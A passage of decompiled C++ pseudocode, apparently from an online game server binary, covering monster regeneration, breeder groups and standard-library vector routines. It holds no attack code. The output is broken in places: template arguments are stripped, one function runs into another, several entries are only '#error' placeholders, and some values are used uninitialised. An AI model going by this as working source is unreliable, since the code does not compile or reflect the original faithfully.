funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreeder::mb_SetGroup"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)v2 = v1; *(_BYTE *)(v2 + 68) = 1; *(_DWORD *)(v2 + 64) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_SetGroup"); v3 += 12; v2 += 100; ++i; } while ( v3 < 0x300 ); *((_DWORD *)v1 + 1645) = 0; } // 64C0C4: using guessed type int (__stdcall *List_MobRegenClass__MobBreeder____vftable_[3])(__int16 hnd); // 64C258: using guessed type int (__thiscall *MobRegenClass__MobBreederGroup___vftable_[3])(List *this, __int16 hnd); //----- (0049EC10) -------------------------------------------------------- FamilyMobManagement::MobSpeciesSlot *__thiscall std::vector>::_Ucopy(std::allocator *_Al, std::vector >::const_iterator _First, std::vector >::const_iterator _Last, FamilyMobManagement::MobSpeciesSlot *__formal) { return std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>( _First, _Last, __formal, _Al, (std::_Nonscalar_ptr_iterator_tag)__formal); } //----- (0049EC30) -------------------------------------------------------- void __thiscall MobHatchery::MobHatchery(MobHatchery *this) { MobHatchery *v1; // ebx@1 char *v2; // esi@1 signed int v3; // edi@1 int v4; // eax@1 int v5; // edx@1 int v6; // ecx@3 int v7; // ebp@3 int v8; // ecx@3 int v9; // ecx@6 int v10; // ebp@6 int v11; // ecx@6 int v12; // ecx@9 int v13; // ebp@9 int v14; // ecx@9 int v15; // ecx@12 int v16; // ebp@12 int v17; // ecx@12 signed int v18; // [sp+10h] [bp-10h]@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x19B8u, 4096, (void (__thiscall *)(void *))MobRegenClass::MobBreederGroup::MobBreederGroup, (void (__thiscall *)(void *))MobRegenClass::MobBreederGroup::_MobBreederGroup); v2 = (char *)v1 + (_DWORD)((char *)&wholesaver + 17755960); *(_DWORD *)((char *)v1 + (_DWORD)((char *)&wholesaver + 17755960)) = List::_vftable_; *(_DWORD *)((char *)v1 + (_DWORD)((char *)&wholesaver + 17755960) + 16) = 0; List::l_MakeList( (List *)((char *)v1 + (_DWORD)((char *)&wholesaver + 17755960)), 0x1000u); *(_DWORD *)((char *)v1 + (_DWORD)((char *)&wholesaver + 17755960)) = MobRegenClass::MobRegenGroupList::_vftable_; v3 = 2; v4 = 0; v5 = (int)((char *)v1 + 13168); v18 = 1024; do { if ( v3 - 2 < *((_WORD *)v2 + 2) ) { v6 = *((_DWORD *)v2 + 2); v7 = *(_DWORD *)(v6 + v4); v8 = v4 + v6; if ( !v7 ) *(_DWORD *)v8 = v5 - 13168; } if ( v3 - 1 < *((_WORD *)v2 + 2) ) { v9 = *((_DWORD *)v2 + 2); v10 = *(_DWORD *)(v9 + v4 + 12); v11 = v9 + v4 + 12; if ( !v10 ) *(_DWORD *)v11 = v5 - 6584; } if ( v3 < *((_WORD *)v2 + 2) ) { v12 = *((_DWORD *)v2 + 2); v13 = *(_DWORD *)(v12 + v4 + 24); v14 = v12 + v4 + 24; if ( !v13 ) *(_DWORD *)v14 = v5; } if ( v3 + 1 < *((_WORD *)v2 + 2) ) { v15 = *((_DWORD *)v2 + 2); v16 = *(_DWORD *)(v15 + v4 + 36); v17 = v15 + v4 + 36; if ( !v16 ) *(_DWORD *)v17 = v5 + 6584; } v5 += 26336; v4 += 48; v3 += 4; --v18; } while ( v18 ); } // 64C0E0: using guessed type int (__stdcall *List_MobRegenClass__MobBreederGroup____vftable_[3])(__int16 hnd); // 64C934: using guessed type int (__stdcall *MobRegenClass__MobRegenGroupList___vftable_[3])(__int16 hnd); //----- (0049ED60) -------------------------------------------------------- FamilyMobManagement::MobSpeciesSlot *__thiscall std::vector>::_Ufill(std::vector > *this, FamilyMobManagement::MobSpeciesSlot *_Ptr, unsigned int _Count, FamilyMobManagement::MobSpeciesSlot *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (0049ED90) -------------------------------------------------------- void __thiscall std::vector>::_Xran(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid vector subscript", 0x1Bu); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (0049EE00) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0049EE70) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > 0x2AAAAAAA ) std::vector>::_Xlen((std::vector > *)this); v4 = operator new(6 * _Capacity); v2->_Myend = (FamilyMobManagement::MobSpeciesSlot *)((char *)v4 + 6 * _Capacity); v2->_Myfirst = (FamilyMobManagement::MobSpeciesSlot *)v4; v2->_Mylast = (FamilyMobManagement::MobSpeciesSlot *)v4; result = 1; } else { result = 0; } return result; } //----- (0049EEC0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, const unsigned int *_Val) { std::vector > *v4; // esi@1 unsigned int *v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #593 **v16; // eax@25 unsigned int *v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #593 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (const unsigned int *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#593 **)(v20 - v23); v4->_Mylast = (unsigned int *)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#593 ***)&v21, v25, (#593 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#593 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (unsigned int *)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#593 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (unsigned int *)((char *)_Newvec + _Counta); v4->_Mylast = (unsigned int *)((char *)_Newvec + 4 * v19); v4->_Myfirst = (unsigned int *)_Newvec; } } } //----- (0049F0A0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, FamilyMobManagement::MobSpeciesSlot *_Val) { std::vector > *v4; // esi@1 unsigned __int16 v5; // dx@1 FamilyMobManagement::MobSpeciesSlot *v6; // ecx@1 int v7; // ebx@2 unsigned int v8; // edi@4 int v9; // eax@6 int v10; // eax@11 int v11; // ebx@15 int v12; // eax@18 std::vector >::const_iterator v13; // ST14_4@22 FamilyMobManagement::MobSpeciesSlot *v14; // ecx@22 int v15; // eax@23 int v16; // edi@25 FamilyMobManagement::MobSpeciesSlot *v17; // edx@26 FamilyMobManagement::MobSpeciesSlot *v18; // eax@26 std::vector >::const_iterator v19; // ecx@30 std::vector >::iterator v20; // ebx@30 FamilyMobManagement::MobSpeciesSlot *v21; // ecx@31 FamilyMobManagement::MobSpeciesSlot *v22; // ST20_4@31 unsigned int v23; // edi@31 int v24; // [sp+0h] [bp-24h]@1 int _Tmp; // [sp+Ch] [bp-18h]@1 unsigned __int16 v26; // [sp+10h] [bp-14h]@1 int *v27; // [sp+14h] [bp-10h]@1 int v28; // [sp+20h] [bp-4h]@22 FamilyMobManagement::MobSpeciesSlot *_Wherea; // [sp+2Ch] [bp+8h]@32 FamilyMobManagement::MobSpeciesSlot *_Counta; // [sp+30h] [bp+Ch]@22 void *_Newvec; // [sp+34h] [bp+10h]@22 FamilyMobManagement::MobSpeciesSlot *_Newveca; // [sp+34h] [bp+10h]@30 v4 = this; v5 = _Val->mss_Killed; _Tmp = *(_DWORD *)&_Val->mss_Species; v6 = this->_Myfirst; v27 = &v24; v26 = v5; if ( v6 ) v7 = v4->_Myend - v6; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v6 ) v9 = v4->_Mylast - v6; else v9 = 0; if ( 715827882 - v9 < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v6 ) v10 = v4->_Mylast - v6; else v10 = 0; if ( v7 >= _Count + v10 ) { v19 = (std::vector >::const_iterator)v4->_Mylast; v20 = _Where; _Newveca = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 6 >= _Count ) { _Wherea = (FamilyMobManagement::MobSpeciesSlot *)(*(_DWORD *)&v19 - 6 * _Count); v4->_Mylast = std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>( (std::vector >::const_iterator)(*(_DWORD *)&v19 - 6 * _Count), v19, *(FamilyMobManagement::MobSpeciesSlot **)&v19, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(v19.___u0.baseclass_0.baseclass_0.dummy[0] - 6 * _Count)); std::copy_backward( *(FamilyMobManagement::MobSpeciesSlot **)&v20, _Wherea, _Newveca); std::fill( *(FamilyMobManagement::MobSpeciesSlot **)&v20, (FamilyMobManagement::MobSpeciesSlot *)(*(_DWORD *)&v20 + 6 * _Count), (FamilyMobManagement::MobSpeciesSlot *)&_Tmp); } else { std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>( _Where.baseclass_0, v19, (FamilyMobManagement::MobSpeciesSlot *)(*(_DWORD *)&_Where + 6 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(6 * _Count)); v21 = v4->_Mylast; v22 = v4->_Mylast; v28 = 2; std::vector>::_Ufill( v4, v22, _Count - (signed int)((char *)v21 - *(_DWORD *)&_Where) / 6, (FamilyMobManagement::MobSpeciesSlot *)&_Tmp); v23 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (FamilyMobManagement::MobSpeciesSlot *)v23; std::fill( *(FamilyMobManagement::MobSpeciesSlot **)&_Where, (FamilyMobManagement::MobSpeciesSlot *)(v23 - 6 * _Count), (FamilyMobManagement::MobSpeciesSlot *)&_Tmp); } } else { if ( 715827882 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v6 ) v12 = v4->_Mylast - v6; else v12 = 0; if ( v11 < _Count + v12 ) v11 = _Count + std::vector>::size(v4); _Newvec = operator new(6 * v11); v13 = (std::vector >::const_iterator)v4->_Myfirst; v28 = 0; _Counta = std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>( v13, _Where.baseclass_0, (FamilyMobManagement::MobSpeciesSlot *)_Newvec, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Counta, v8, (FamilyMobManagement::MobSpeciesSlot *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>( _Where.baseclass_0, (std::vector >::const_iterator)v4->_Mylast, &_Counta[v8], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v14 = v4->_Myfirst; if ( v14 ) v15 = v4->_Mylast - v14; else v15 = 0; v16 = v15 + v8; if ( v14 ) { v17 = v4->_Mylast; v18 = v4->_Myfirst; if ( v14 != v17 ) { do ++v18; while ( v18 != v17 ); } operator delete(v4->_Myfirst); } v4->_Myend = (FamilyMobManagement::MobSpeciesSlot *)((char *)_Newvec + 6 * v11); v4->_Mylast = (FamilyMobManagement::MobSpeciesSlot *)((char *)_Newvec + 6 * v16); v4->_Myfirst = (FamilyMobManagement::MobSpeciesSlot *)_Newvec; } } } //----- (0049F360) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { FamilyMobManagement::MobSpeciesSlot *v2; // eax@1 std::vector > *v3; // esi@1 int v4; // eax@2 int v5; // edi@7 void *v6; // eax@7 std::vector >::const_iterator v7; // ecx@7 std::vector >::const_iterator v8; // ST00_4@7 int v9; // [sp+0h] [bp-20h]@1 std::vector > *v10; // [sp+Ch] [bp-14h]@1 int *v11; // [sp+10h] [bp-10h]@1 int v12; // [sp+1Ch] [bp-4h]@7 v2 = _Right->_Myfirst; v3 = this; v11 = &v9; v10 = this; if ( v2 ) v4 = _Right->_Mylast - v2; else v4 = 0; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( v4 ) { if ( (unsigned int)v4 > 0x2AAAAAAA ) std::vector>::_Xlen((std::vector > *)this); v5 = 6 * v4; v6 = operator new(6 * v4); v3->_Myfirst = (FamilyMobManagement::MobSpeciesSlot *)v6; v3->_Mylast = (FamilyMobManagement::MobSpeciesSlot *)v6; v3->_Myend = (FamilyMobManagement::MobSpeciesSlot *)((char *)v6 + v5); v7 = (std::vector >::const_iterator)_Right->_Mylast; v8 = (std::vector >::const_iterator)_Right->_Myfirst; v12 = 0; v3->_Mylast = std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>( v8, v7, (FamilyMobManagement::MobSpeciesSlot *)v6, &v3->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (0049F40F) -------------------------------------------------------- void __usercall _L187927(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::operator_(void *this, int __formal) { void *v2; // esi@1 FamilyMobManagement::MobSpeciesSlot *v3; // ebp@2 int v4; // ecx@3 void *result; // eax@6 FamilyMobManagement::MobSpeciesSlot *v6; // edi@7 int v7; // eax@8 int v8; // eax@11 int v9; // eax@15 unsigned int v10; // ebp@18 unsigned int v11; // eax@21 v2 = this; if ( this == (void *)__formal ) return v2; v3 = *(FamilyMobManagement::MobSpeciesSlot **)(__formal + 4); if ( v3 ) { v4 = (*(_DWORD *)(__formal + 8) - (signed int)v3) / 6; if ( v4 ) { v6 = (FamilyMobManagement::MobSpeciesSlot *)*((_DWORD *)v2 + 1); if ( v6 ) v7 = (*((_DWORD *)v2 + 2) - (signed int)v6) / 6; else v7 = 0; if ( v4 <= (unsigned int)v7 ) { std::copy( v3, *(FamilyMobManagement::MobSpeciesSlot **)(__formal + 8), *((FamilyMobManagement::MobSpeciesSlot **)v2 + 1)); v8 = *(_DWORD *)(__formal + 4); if ( v8 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 6 * (*(_DWORD *)(__formal + 8) - v8) / 6; result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } if ( v6 ) v9 = (*((_DWORD *)v2 + 3) - (signed int)v6) / 6; else v9 = 0; if ( v4 <= (unsigned int)v9 ) { v10 = (unsigned int)&v3[std::vector>::size((std::vector > *)v2)]; std::copy( *(FamilyMobManagement::MobSpeciesSlot **)(__formal + 4), (FamilyMobManagement::MobSpeciesSlot *)v10, v6); *((_DWORD *)v2 + 2) = std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>( (std::vector >::const_iterator)v10, *(std::vector >::const_iterator *)(__formal + 8), *((FamilyMobManagement::MobSpeciesSlot **)v2 + 2), (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)__formal); return v2; } if ( v6 ) operator delete(*((void **)v2 + 1)); v11 = std::vector>::size((std::vector > *)__formal); if ( std::vector>::_Buy( (std::vector > *)v2, v11) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (std::allocator *)v2, *(std::vector >::const_iterator *)(__formal + 4), *(std::vector >::const_iterator *)(__formal + 8), *((FamilyMobManagement::MobSpeciesSlot **)v2 + 1)); return v2; } } if ( *((_DWORD *)v2 + 1) ) operator delete(*((void **)v2 + 1)); *((_DWORD *)v2 + 1) = 0; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 3) = 0; return v2; } //----- (0049F5A0) -------------------------------------------------------- void __thiscall MobHatchery::mh_ScriptBreed(MobHatchery *this, Name3 *map_, PineScriptMobRegenerator::RegenStruct *pRegenScript, ORToken *aitype) { MobHatchery *v4; // edi@1 int v5; // eax@1 int v6; // ebp@4 unsigned int v7; // edi@10 char *v8; // esi@10 int v9; // eax@11 int v10; // ebx@13 char *v11; // [sp-4h] [bp-24h]@2 int pRegenScripta; // [sp+28h] [bp+8h]@10 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobHatchery::mh_ScriptBreed"); HIWORD(v5) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobHatchery::mh_ScriptBreed"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( pRegenScript ) { LOWORD(v5) = *(_WORD *)((char *)v4 + (_DWORD)((char *)&wholesaver + 17755972)); if ( (_WORD)v5 == -1 ) v6 = 0; else v6 = (*(int (__stdcall **)(int))(*(_DWORD *)((char *)v4 + (_DWORD)((char *)&wholesaver + 17755960)) + 4))(v5); if ( v6 ) { MobRegenClass::MobBreederGroup::mbg_Set( (MobRegenClass::MobBreederGroup *)v6, &pRegenScript->rs_group.rgs_groupname, map_, pRegenScript->rs_group.rgs_family, &pRegenScript->rs_group.rgs_regreg); v7 = 0; *(_DWORD *)(v6 + 6580) = MobRoaming::MobRoamingSet::mrs_Get(&roamingpaths, &pRegenScript->rs_group.rgs_groupname); v8 = (char *)&pRegenScript->rs_datas; for ( pRegenScripta = 0; ; pRegenScripta += 103 ) { v9 = *((_DWORD *)v8 + 1); if ( !v9 ) break; if ( v7 >= ((signed int)((unsigned __int64)((*((_DWORD *)v8 + 2) - v9) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 3) + ((unsigned int)((unsigned __int64)((*((_DWORD *)v8 + 2) - v9) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 31) ) break; v10 = *((_DWORD *)v8 + 1); if ( !v10 || ((signed int)((unsigned __int64)((*((_DWORD *)v8 + 2) - v10) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 3) + ((unsigned int)((unsigned __int64)((*((_DWORD *)v8 + 2) - v10) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 31) <= v7 ) std::vector>::_Xran((std::vector > *)v8); MobRegenClass::MobBreederGroup::mbg_ScriptDataStore( (MobRegenClass::MobBreederGroup *)v6, (MobRegenStruct::RegenMobStruct *)(v10 + pRegenScripta), aitype); ++v7; } } else { AssertClass::ac_AssertFail(&shineassert, "MobHatchery::mh_ScriptBreed : Too many MobRegenGroup", 0); } v11 = "MobHatchery::mh_ScriptBreed"; } else { AssertClass::ac_AssertFail(&shineassert, "MobHatchery::mh_ScriptBreed : pRegenScript NULL ", 0); v11 = "MobHatchery::mh_ScriptBreed"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v11); } //----- (0049F730) -------------------------------------------------------- void __thiscall SHND::CommonData::_CommonData(ItemRandomOption::OptionTable *this) { ItemRandomOption::OptionTable *v1; // esi@1 v1 = this; if ( this->ot_ValueList._Myfirst ) operator delete(this->ot_ValueList._Myfirst); v1->ot_ValueList._Myfirst = 0; v1->ot_ValueList._Mylast = 0; v1->ot_ValueList._Myend = 0; } //----- (0049F760) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, unsigned int _Val) { std::vector > *v3; // esi@1 unsigned int *v4; // edx@1 signed int v5; // eax@2 signed int v6; // eax@6 unsigned int *v7; // eax@10 char *v8; // edx@11 unsigned int *v9; // eax@12 v3 = this; v4 = this->_Myfirst; if ( v4 ) v5 = this->_Mylast - v4; else v5 = 0; if ( v5 >= _Newsize ) { if ( v4 ) { v7 = this->_Mylast; if ( _Newsize < this->_Mylast - v4 ) { v8 = (char *)&v4[_Newsize]; if ( (unsigned int *)v8 != v7 ) { memmove(v8, (char *)v7, 0); v3->_Mylast = v9; } } } } else { if ( v4 ) v6 = this->_Mylast - v4; else v6 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v6, &_Val); } } //----- (0049F7F0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, FamilyMobManagement::MobSpeciesSlot *_Val) { std::vector > *v4; // edi@1 FamilyMobManagement::MobSpeciesSlot *v5; // esi@1 int v6; // esi@3 std::vector >::iterator *v7; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) v6 = (*(_DWORD *)&_Where - (signed int)v5) / 6; else v6 = 0; std::vector>::_Insert_n( this, _Where, 1u, _Val); v7 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v7; } //----- (0049F860) -------------------------------------------------------- #error "49F860: undefined or illegal type '#1429' (funcsize=36)" //----- (0049F8C0) -------------------------------------------------------- #error "49F8C0: undefined or illegal type '#1429' (funcsize=27)" //----- (0049F900) -------------------------------------------------------- #error "49F900: undefined or illegal type '#1429' (funcsize=27)" //----- (0049F940) -------------------------------------------------------- #error "49F940: undefined or illegal type '#1429' (funcsize=50)" //----- (0049FA10) -------------------------------------------------------- #error "49FA10: undefined or illegal type '#1429' (funcsize=78)" //----- (0049FB20) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, FamilyMobManagement::MobSpeciesSlot *_Val) { std::vector > *v2; // esi@1 FamilyMobManagement::MobSpeciesSlot *v3; // edi@1 int v4; // ecx@2 FamilyMobManagement::MobSpeciesSlot *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (0049FBA0) -------------------------------------------------------- #error "49FBA0: undefined or illegal type '#1429' (funcsize=34)" //----- (0049FBF0) -------------------------------------------------------- #error "49FBF0: undefined or illegal type '#1429' (funcsize=23)" //----- (0049FC20) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_Regenerate(void *this, int map_, int x, int y, signed int dir, int handle, int mobid, int bandittemplete, int regnum, int a10, int a11, int lev, char blockdata) { void *v13; // ebp@1 int v14; // edx@1 int v15; // eax@1 MobDataBox::MobDataBoxIndex *v16; // eax@3 char v17; // cl@3 __int16 v18; // cx@5 int v19; // esi@5 int v21; // eax@7 int v22; // eax@9 int v23; // ST20_4@9 int v24; // edx@9 int v25; // eax@9 unsigned int i; // ecx@9 int v27; // edx@10 int v28; // edi@18 int v29; // eax@22 int v30; // eax@23 const char *v31; // [sp+10h] [bp-30h]@16 int v32; // [sp+14h] [bp-2Ch]@16 ListIteratorDefault arg; // [sp+2Ch] [bp-14h]@7 int v34; // [sp+30h] [bp-10h]@7 int v35; // [sp+3Ch] [bp-4h]@1 v13 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_Regenerate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_Regenerate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v13 + 1869) = regnum; *(_DWORD *)((char *)v13 + 7635) = *(_DWORD *)map_; *(_DWORD *)((char *)v13 + 7639) = *(_DWORD *)(map_ + 4); *(_DWORD *)((char *)v13 + 7643) = *(_DWORD *)(map_ + 8); **((_BYTE **)v13 + 892) = 0; v14 = *(_DWORD *)v13; v35 = 0; *((_DWORD *)v13 + 2289) = 6; (*(void (__thiscall **)(void *, int, int, int))(v14 + 3552))(v13, handle, mobid, bandittemplete); **(_DWORD **)((char *)v13 + 78) = x; *(_DWORD *)(*(_DWORD *)((char *)v13 + 78) + 4) = y; v15 = dir / 2; if ( dir / 2 < 0 ) LOBYTE(v15) = v15 - 76; **(_BYTE **)((char *)v13 + 82) = v15; v16 = MobDataBox::operator__(&mobdatabox, mobid); v17 = lev; *((_DWORD *)v13 + 1914) = v16; if ( lev <= 0 ) v17 = LOBYTE(v16->data->Level); *((_BYTE *)v13 + 7660) = v17; v18 = *((_WORD *)v13 + 4526) & 0xFFFE | v16->serv->IsRoaming & 1; *((_WORD *)v13 + 4526) = v18; *((_WORD *)v13 + 4526) = v18 & 0xFF01 | 2 * (v16->serv->RoamingNumber & 0x7F); *((_WORD *)v13 + 4527) = v16->serv->RoamingDistance; *((_DWORD *)v13 + 1866) = 0; MobTacticElement::MobActionArgument::Actor::SetTargetPoint( (MobTacticElement::MobActionArgument::Actor *)((char *)v13 + 8392), (#593 **)v13 + 2265); ShineObjectClass::ShineMob::sm_SetBrain(v13); (*(void (__thiscall **)(void *))(*(_DWORD *)v13 + 3548))(v13); *((_DWORD *)v13 + 2144) = a11; v19 = ShineObjectClass::ShineObject::so_MapMarking(v13, 0); if ( v19 ) { --funcallanalizer.fca_stackpoint; v35 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_Regenerate"); return v19; } memcpy( (void *)(*(int (__thiscall **)(void *))(*(_DWORD *)v13 + 1180))(v13), &ShineObjectClass::ShineObject::so_emptyabstate, 0x4Du); v21 = (*(int (__thiscall **)(void *))(*(_DWORD *)v13 + 1320))(v13); arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v34 = v21 + 3240; LOBYTE(v35) = 1; List::l_4AllInList((List *)(v21 + 3240), &arg); LOBYTE(v35) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; if ( unk_6BCD30 ) { (*(void (__thiscall **)(void *, void *, signed 